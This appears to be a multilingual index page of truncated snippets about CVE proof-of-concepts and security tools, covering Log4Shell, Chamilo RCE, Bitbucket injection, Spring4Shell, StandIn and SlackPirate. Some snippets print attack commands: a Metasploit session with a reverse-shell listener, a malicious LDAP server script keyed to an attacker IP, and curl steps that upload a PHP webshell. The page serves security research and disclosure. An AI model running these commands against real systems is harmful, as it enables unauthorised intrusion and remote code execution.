CVE-2023-49979

CVE-2023-49979 Best Student Management System v1.0 - 不正确的访问控制 - 目录列表 描述 : Best Student Management System v1.0 中存在目录列表漏洞，攻击者无需认证/授权即可列出应用程序中的目录和敏感文件。 受影响产品版本 : Best Student Management System v1.0 CVE 作者 : Geraldo Alcântara 日期 : 2023年11月28日 确认日期 : 2023年12月19日 CVE : CVE-2023-49979 测试环境 : Windows 复现步...

CVE-2025-29722

🛡️ CVE-2025-29722 – Commercify v1.0 中的跨站请求伪造（CSRF）漏洞 发现者：David P.S Abraham（又名 Davycipher） CVE 编号 CVE-2025-29722 已由 MITRE Corporation 分配给此漏洞。 摘要 在 Commercify v1.0 中发现了一个 CSRF 漏洞 ，这是一个由 @yassmittal 开发的开源电子商务平台。该应用在 /updatesettings 等关键端点上缺少适当的 CSRF 防护机制，攻击者可在其他域名下构造恶意请求来修改用户数据。 受影响产品 产品名称： Commercify...

Vxscan

Vxscan 2.0 English | 简体中文 Herramienta de escaneo integral en Python3, utilizada principalmente para la detección de archivos sensibles escaneo de directorios y fuga de interfaces JS, identificación de WAF/CDN, escaneo de puertos, identificación de huellas/servicios, identificación del sistema...

CVE-2022-36804

CVE-2022-36804 根据深信服安全团队最近发现的信息，Bitbucket Server 和 Bitbucket Data Center 组件存在一个命令注入漏洞。攻击者如果具有私有或公共 Bitbucket 仓库的读取权限，或者具有公共仓库的写入权限，则可以提交恶意 HTTP 请求来执行任意代码，并最终获取对服务器的访问权限。 此仓库包含该漏洞的有效载荷文件和完整 POC。...

CVE-2023-46818

Metasploit 模块 Metasploit 模块 root@kitploit: use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit 在 ISPConfig 3.2.11p1 之前版本中发现了一个问题。如果启用了 adminallowlangedit，管理员可以通过语言文件编辑器实现 PHP 代码注入。...

wphardening

WPHardening Fortify the security of any WordPress installation. ❮ NOTE ❯ This tool releases new versions on a regular basis. Make sure to update your dependencies frequently to get the latest version. Check out the changelog or CHANGELOG.md to learn about the new features. Installation Installing...

wphardening

WPHardening 强化任何 WordPress 安装的安全性。 ❮ 注意 ❯ 此工具会定期发布新版本。请确保经常更新依赖关系以获取最新版本。查看更新日志或 CHANGELOG.md 了解新功能。 安装 安装 WPHardening 需要执行一条控制台命令： root@kitploit: $ pip install -r requirements.txt 用法 root@kitploit: $ python wphardening.py -h \ \ / / | | | | | | \ \ /\ / /| | | || | | | \ / / / | /| |/ | '/ |/ ...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- 渗透测试 1. 创建恶意LDAP服务器（使用Marshalsec） !/bin/bash Script: startldapserver.sh 要求：安装Java和Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ 在端口 $LDAPPORT 上启动恶意LDAP服务器..." java -cp...

DEBIAN-CVE-2026-87859

morgan is an HTTP request logger middleware for Node.js. In versions before 1.12.1, its escapeLogField function does not escape the double quote character, which delimits the quoted fields of the Apache combined log format that morgan emits. An unauthenticated remote attacker who controls a value...

CVE-2026-87859

morgan is an HTTP request logger middleware for Node.js. In versions before 1.12.1, its escapeLogField function does not escape the double quote character, which delimits the quoted fields of the Apache combined log format that morgan emits. An unauthenticated remote attacker who controls a value...

crlfmap

CRLFMap CRLFMap is a tool to find HTTP Splitting vulnerabilities Why? I wanted to write a tool in Golang for concurrency I wanted to be able to fuzz both parameters and paths Installation root@kitploit: go get github.com/ryandamour/crlfmap Help root@kitploit: Available Commands: help Help about a...

CVE-2022-44666

Microsoft Windows Contacts VCF/Contact/LDAP syslink 控制 href 属性转义漏洞 CVE-2022-44666 0day. 这是一个关于另一个被遗忘的0day的故事，它在4年多前由 John Page 又名 hyp3rlinxR.1 完全公开。要理解这份报告，你必须考虑我很笨 :- 而我的笨拙驱使我走更长的路来解决简单的问题，但也让我找到了利用某些漏洞的其他方法。我为什么这么说？因为我无法迅速理解创建 .contact 文件的方法只是浏览到联系人文件夹来创建联系人，相反，我利用这些信息首先创建了一个 VCF...

StandIn

StandIn StandIn es un pequeño conjunto de herramientas para la post-explotación de AD. StandIn surgió porque recientemente en xforcered necesitábamos una solución nativa .NET para realizar delegación restringida basada en recursos. Sin embargo, StandIn se expandió rápidamente para incluir varias...

kubeeye

English | 中文 KubeEye 是为 Kubernetes 设计的云原生集群巡检工具，用于根据自定义规则发现 Kubernetes 集群中存在的问题及风险。 快速开始 安装 可从 Releases 中下载安装包（其中包含helm chart，demo rules 以及 供离线环境部署的镜像） root@kitploit: VERSION=v1.0.3 wget https://github.com/kubesphere/kubeeye/releases/download/$VERSION/kubeeye-offline-$VERSION.tar.gz tar -zxvf...

CVE-2021-26086

CVE-2021-26084 存在一个OGNL注入漏洞，允许经过身份验证的用户（在某些情况下为未经过身份验证的用户）在confluence服务器或数据中心实例上执行任意代码。 查询字符串参数请求： 使用方式： $ python3 CVE-2021-26084Confluence.py -u http://website.com 参考链接： https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html...

Safer_PoC_CVE-2022-22965

SaferPoCCVE-2022-22965 一个针对 CVE-2022-22965 Spring4Shell 的更安全 PoC 功能 在 tomcat 的 'webapps/ROOT' 目录中创建一个名为 CVE2022-22965exploited.txt 的文件 可通过用户参数更改输出目录 通过请求输出的 .txt 文件来执行漏洞验证，根据你的 tomcat 配置，这可能需要人工检查。 增加了额外验证以检查返回文档的内容；某些 Web 服务器会返回 HTTP 状态为 200 的错误页面 使用方法 root@kitploit: usage:...

SlackPirate

SlackPirate - Slack 枚举与提取工具 这是一款使用 Python 开发的工具，它利用 Slack 原生 API 在给定访问令牌的情况下，从 Slack 工作区中提取“有趣”的信息。 截至 2018 年 5 月，Slack 拥有超过 800 万用户，并且这一数字正在迅速增长——其集成和“ChatOps”的可能性是无限的，允许团队（不仅仅是开发者！）创建一些非常强大的工作流以及 Slack 机器人/应用程序交互。 与大大小小的企业一样，Slack 这类工具经常被信息安全管理/策略雷达所忽视，这最终导致敏感和机密信息出现在它们不应出现的地方，从而引发危险情况。...

CVE-2024-29988-exploit

CVE-2024-29988-exploit 微软 SmartScreen 恶意执行的漏洞利用程序（2024 年 4 月） 描述 在微软 2024 年 4 月的 Patch Tuesday 更新中发现了一个关键漏洞 CVE-2024-29988。 该漏洞允许威胁行为者绕过微软的 Mark of the Web（MotW）功能，从而执行任意代码。 Trend Micro 零日计划（ZDI）的高级威胁研究员 Peter Girnus 观察到攻击者在野外利用此漏洞。 Microsoft SmartScreen 提示包含一个安全功能绕过漏洞，允许攻击者绕过 Mark of the...

CVE-2024-5452

CVE-2024-5452 01. RCE与pytorch-lightning概述 1 RCE与pytorch-lightning概述 RCE（Remote Code Execution，远程代码执行）是一种允许攻击者在远程系统或应用程序内执行任意代码的漏洞，对应CWE-94：代码生成控制不当（'代码注入'）。 PyTorch Lightning是一个基于PyTorch的库，帮助简化深度学习模型的训练管理；DeepDiff则是一个用于比较两个Python对象并分析差异的库。...

CVE-2023-4220

CVE-2023-4220 RCE Chamilo 1.11.24 | https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS /tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URLUPLD" CMD=$echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; printurllib.parse.quoteplussys.stdin.read" curl...